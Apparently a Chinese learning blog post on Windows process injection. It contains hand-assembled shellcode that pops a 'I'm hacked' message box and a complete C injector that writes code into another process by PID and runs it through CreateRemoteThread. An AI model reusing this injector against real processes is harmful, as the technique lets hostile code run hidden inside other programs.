進程注入學習

  這次目標是使用進程注入,將一段shellcode注入到一個進程,然後執行。

主要的思路是1.編寫shellcode,目的是彈出一個對話框 2.在目標進行分配一段空間,並且寫入shellcode,然後使用CreateRemoteThread() API創建一個遠程線程並且執行。

1.shellcode的編寫

shellcode的作用是彈出一個MessageBox,需要的步驟有1.使用LoadLibraryA加載user32.dll 2.使用GetProcAddress獲取MessageBoxA的入口地址。並且調用MessageBoxA。

然而不同系統的LoadLibraryA的地址和GetProcAddress的地址都不同,爲此需要先獲得kernel32.dll的基址,然後減去一個偏移量得到GetProcAddress和LoadLibraryA的地址。

要獲得二進制的shellcode,我先用匯編寫出了代碼,然後通過Ollydbg反彙編將二進制代碼獲得,然後寫入shellcode。

獲取kernel32.dll基址的方式參考了看雪論壇的大大寫的一篇文章http://bbs.pediy.com/showthread.php?t=99007 ,

其中彙編代碼如下

assume fs:nothing
  mov   eax,fs:[30h]
  test  eax,eax
  js  os_9x
os_nt:  
  mov  eax,[eax+0ch]
  mov  esi,[eax+1ch]
  lodsd  
  mov   eax,[eax+8]
  jmp  k_finished
os_9x:
  mov   eax,[eax+34h]
  mov  eax,[eax+7ch]
  mov  eax,[eax+3ch]
k_finished:nothing  
最終的kernel32.dll的基址存在了eax寄存器。

通過eax減去偏移量就獲得了  LoadLibraryA和GetprocAddress的地址, 偏移量的獲得方式可以在k_finished後面加上mov dword ptr[addr], eax

假設eax是提前定義的一個unsigned int變量, 然後用addr - (unsigned int)LoadLibraryA獲取出偏移量,同樣的方式可以得到GetProcAddress的偏移量。

 LoadlibraryA的參數字符串user32.dll 以及MessageBoxA字符串和彈出對話框的標題和內容的字符串,我們在棧上分配一個臨時的空間,然後將內容存到棧上面。

部分彙編代碼如下,先分配40個空間,然後將user32.dll的每個字符都mov到這個空間裏面,最後加上/0

sub esp, 40
mov [ebp - 2B], 'u'
mov [ebp - 2A], 's'
mov [ebp - 29], 'e'
mov [ebp - 28], 'r'
mov [ebp - 27], '3'
mov [ebp - 26], '2'
mov [ebp - 25], '.'
mov [ebp - 24], 'd'
mov [ebp - 23], 'l'
mov [ebp - 22], 'l'
mov [ebp - 21], 0x0
使用的時候可以獲取字符串的地址lea eax, [ebp - 2B].

完成了這些準備工作,就可以比較容易的寫出彙編代碼了,下面將完成shellcode和註釋的彙編代碼貼出來。

char code[] = {0x55,//push ebp
0x8B,0xEC,// mov ebp, esp
0x83,0xEC,0x40,//sub esp, 40
0xC6,0x45,0xD5,0x75,//mov [ebp - 2B], 'u'
0xC6,0x45,0xD6,0x73,//s
0xC6,0x45,0xD7,0x65,//e
0xC6,0x45,0xD8,0x72,//r
0xC6,0x45,0xD9,0x33,//3
0xC6,0x45,0xDA,0x32,//2
0xC6,0x45,0xDB,0x2E,//.
0xC6,0x45,0xDC,0x64,//d
0xC6,0x45,0xDD,0x6C,//l
0xC6,0x45,0xDE,0x6C,//l
0xC6,0x45,0xDF,0x00,//0
0xC6,0x45,0xE0,0x4D,//M
0xC6,0x45,0xE1,0x65,//e
0xC6,0x45,0xE2,0x73,//s
0xC6,0x45,0xE3,0x73,//s
0xC6,0x45,0xE4,0x61,//a
0xC6,0x45,0xE5,0x67,//g
0xC6,0x45,0xE6,0x65,//e
0xC6,0x45,0xE7,0x42,//B
0xC6,0x45,0xE8,0x6F,//o
0xC6,0x45,0xE9,0x78,//x
0xC6,0x45,0xEA,0x41,//A
0xC6,0x45,0xEB,0x00,//0
0xC6,0x45,0xEC,0x49,//I
0xC6,0x45,0xED,0x27,//'
0xC6,0x45,0xEE,0x6D,//m
0xC6,0x45,0xEF,0x20,// ' '
0xC6,0x45,0xF0,0x68,//h
0xC6,0x45,0xF1,0x61,//a
0xC6,0x45,0xF2,0x63,//c
0xC6,0x45,0xF3,0x6B,//k
0xC6,0x45,0xF4,0x65,//e
0xC6,0x45,0xF5,0x64,//d
0xC6,0x45,0xF6,0x00,//0
0x64,//fs:
0xA1,0x30,0x00,0x00,0x00,//mov eax, dword ptr fs:[30]
0x85,0xC0,//test eax, eax
0x78,0x0C,//js  os_9x
//os_net:
0x8B,0x40,0x0C,  //mov  eax,[eax+0ch]              
0x8B,0x70,0x1C,//mov  esi,[eax+1ch]
0xAD,//lodsd
0x8B,0x40,0x08,//mov   eax,[eax+8]
0xEB,0x09,// jmp  k_finished
//os_9x:
0x8B,0x40,0x34,//mov   eax,[eax+34h]   
0x8B,0x40,0x7C,//mov  eax,[eax+7ch]
0x8B,0x40,0x3C,//mov  eax,[eax+3ch]
//k_finshed:
0x89,0x45,0xFC,  //mov [ebp - 4], eax
0x8D,0x45,0xD5,// lea  eax, [ebp-0x2B]
0x50,//push eax
0x8B,0x45,0xFC,// mov eax, [ebp - 4] 
0x2D,0x97,0x59,0x2A,0x00,//sub eax, 0x2a5997
0xFF,0xD0,//call eax
0x8D,0x4D,0xE0,// lea ecx, [ebp - 0x20]
0x51,// push ecx
0x50, //push eax
0x8B,0x45,0xFC, //mov eax, [ebp - 4]
0x2D,0xF4,0x67,0x2A,0x00,//sub eax, 0x2a67f4
0xFF,0xD0,//call eax
0x8D,0x4D,0xEC,// lea ecx, [ebp - 0x14]
0x6A,0x00,//push 0
0x51,//push ecx
0x51,//push ecx
0x6A,0x00,//push 0
0xFF,0xD0,// call eax
0x8B,0xE5, //mov esp, ebp
0x5D,//  pop ebp
0xC3,//ret
};

2.注入程序的編寫

注入的步驟分爲

獲取進程的PID,然後通過OpenProcess創建進程的句柄。在進程中分配空間使用VirtualAllocEx,然後返回值是分配內存的地址,通過這個地址使用WriteProcessMemory將shellcode寫入到內存中。然後通過CreateRemoteThread創建一個遠程線程,然後使用WaitForSingleObject等待遠程線程結束。

最後使用VirtualFreeEx,CloseHandle進行清理。

最終代碼爲:

/*
*使用vc2012 express編譯
*/
#include <windows.h>
char code[] = {0x55,//push ebp
0x8B,0xEC,// mov ebp, esp
0x83,0xEC,0x40,//sub esp, 40
0xC6,0x45,0xD5,0x75,//mov [ebp - 2B], 'u'
0xC6,0x45,0xD6,0x73,//s
0xC6,0x45,0xD7,0x65,//e
0xC6,0x45,0xD8,0x72,//r
0xC6,0x45,0xD9,0x33,//3
0xC6,0x45,0xDA,0x32,//2
0xC6,0x45,0xDB,0x2E,//.
0xC6,0x45,0xDC,0x64,//d
0xC6,0x45,0xDD,0x6C,//l
0xC6,0x45,0xDE,0x6C,//l
0xC6,0x45,0xDF,0x00,//0
0xC6,0x45,0xE0,0x4D,//M
0xC6,0x45,0xE1,0x65,//e
0xC6,0x45,0xE2,0x73,//s
0xC6,0x45,0xE3,0x73,//s
0xC6,0x45,0xE4,0x61,//a
0xC6,0x45,0xE5,0x67,//g
0xC6,0x45,0xE6,0x65,//e
0xC6,0x45,0xE7,0x42,//B
0xC6,0x45,0xE8,0x6F,//o
0xC6,0x45,0xE9,0x78,//x
0xC6,0x45,0xEA,0x41,//A
0xC6,0x45,0xEB,0x00,//0
0xC6,0x45,0xEC,0x49,//I
0xC6,0x45,0xED,0x27,//'
0xC6,0x45,0xEE,0x6D,//m
0xC6,0x45,0xEF,0x20,// ' '
0xC6,0x45,0xF0,0x68,//h
0xC6,0x45,0xF1,0x61,//a
0xC6,0x45,0xF2,0x63,//c
0xC6,0x45,0xF3,0x6B,//k
0xC6,0x45,0xF4,0x65,//e
0xC6,0x45,0xF5,0x64,//d
0xC6,0x45,0xF6,0x00,//0
0x64,//fs:
0xA1,0x30,0x00,0x00,0x00,//mov eax, dword ptr fs:[30]
0x85,0xC0,//test eax, eax
0x78,0x0C,//js  os_9x
//os_net:
0x8B,0x40,0x0C,  //mov  eax,[eax+0ch]              
0x8B,0x70,0x1C,//mov  esi,[eax+1ch]
0xAD,//lodsd
0x8B,0x40,0x08,//mov   eax,[eax+8]
0xEB,0x09,// jmp  k_finished
//os_9x:
0x8B,0x40,0x34,//mov   eax,[eax+34h]   
0x8B,0x40,0x7C,//mov  eax,[eax+7ch]
0x8B,0x40,0x3C,//mov  eax,[eax+3ch]
//k_finshed:
0x89,0x45,0xFC,  //mov [ebp - 4], eax
0x8D,0x45,0xD5,// lea  eax, [ebp-0x2B]
0x50,//push eax
0x8B,0x45,0xFC,// mov eax, [ebp - 4] 
0x2D,0x97,0x59,0x2A,0x00,//sub eax, 0x2a5997
0xFF,0xD0,//call eax
0x8D,0x4D,0xE0,// lea ecx, [ebp - 0x20]
0x51,// push ecx
0x50, //push eax
0x8B,0x45,0xFC, //mov eax, [ebp - 4]
0x2D,0xF4,0x67,0x2A,0x00,//sub eax, 0x2a67f4
0xFF,0xD0,//call eax
0x8D,0x4D,0xEC,// lea ecx, [ebp - 0x14]
0x6A,0x00,//push 0
0x51,//push ecx
0x51,//push ecx
0x6A,0x00,//push 0
0xFF,0xD0,// call eax
0x8B,0xE5, //mov esp, ebp
0x5D,//  pop ebp
0xC3,//ret
};


int main(int argc, char *argv[])
{    
        int pid = 0;
        int i = 0;
	HANDLE hproc = 0;
	int ret = 0;
	PBYTE addr;
	HANDLE thread;
	DWORD   dwThreadId = 0;
	unsigned int address = 0;
	int exitCode = 0;
	if (argc < 2) {
		printf("Usage: %s pid\n", argv[0]);
		return -1;
	}
	pid = atoi(argv[1]);
	if (pid <= 0) {
		printf("[E]: pid must be positive (pid>0)!\n");
		return -2;
	}
	
	hproc = OpenProcess(PROCESS_CREATE_THREAD 
        | PROCESS_QUERY_INFORMATION
        | PROCESS_VM_OPERATION 
        | PROCESS_VM_WRITE 
        | PROCESS_VM_READ,
        FALSE, pid);
  addr = (PBYTE)VirtualAllocEx(hproc, 0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);//分配內存,然後起始地址保存在addr
	ret = WriteProcessMemory(hproc, addr, code, sizeof(code), NULL); //將代碼寫入到分配好的內存中。
	if (ret)
	{
		printf("WriteProcessMemory success! addr = %08x\n", addr);
		thread = CreateRemoteThread(hproc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, addr, 0, &dwThreadId);//將寫入好shellcode代碼的內存,建立遠程線程
		if (thread == 0)
		{
			printf("CreateRemoteThread failed %d\n" ,GetLastError());//判斷出錯信息
		}
		else
		{			
			WaitForSingleObject(thread, INFINITE);				
		}
	}
	else
	{
    printf("WriteProcessMemory failed!" );
	}
	
	if(!VirtualFreeEx(hproc, addr,0 , MEM_RELEASE))
  {
    printf("[E]: VirtualMemory  (%08x) cannot be freed !\n", addr);
		//return 2;
  }
	else
	{
    printf("[E]: VirtualMemory  (%08x) is freed !\n", addr);
	}
	if (!CloseHandle(hproc)) 
	{
		printf("[E]: Process (%d) cannot be closed !\n", pid);
		return 2;
	}
	printf("[I]: Process (%d) is closed. \n", pid);
	return 0;
}

通過任務管理器查看到目標進程的PID之後,然後在命令行使用命令行參數inj.exe 8888進行注入(這裏假設次程序的名字爲inj.exe 進程的pid爲8888)。

如果目標進程沒有防禦措施的話,就會創建一個線程然後彈出一個對話框。


發佈了67 篇原創文章 · 獲贊 11 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章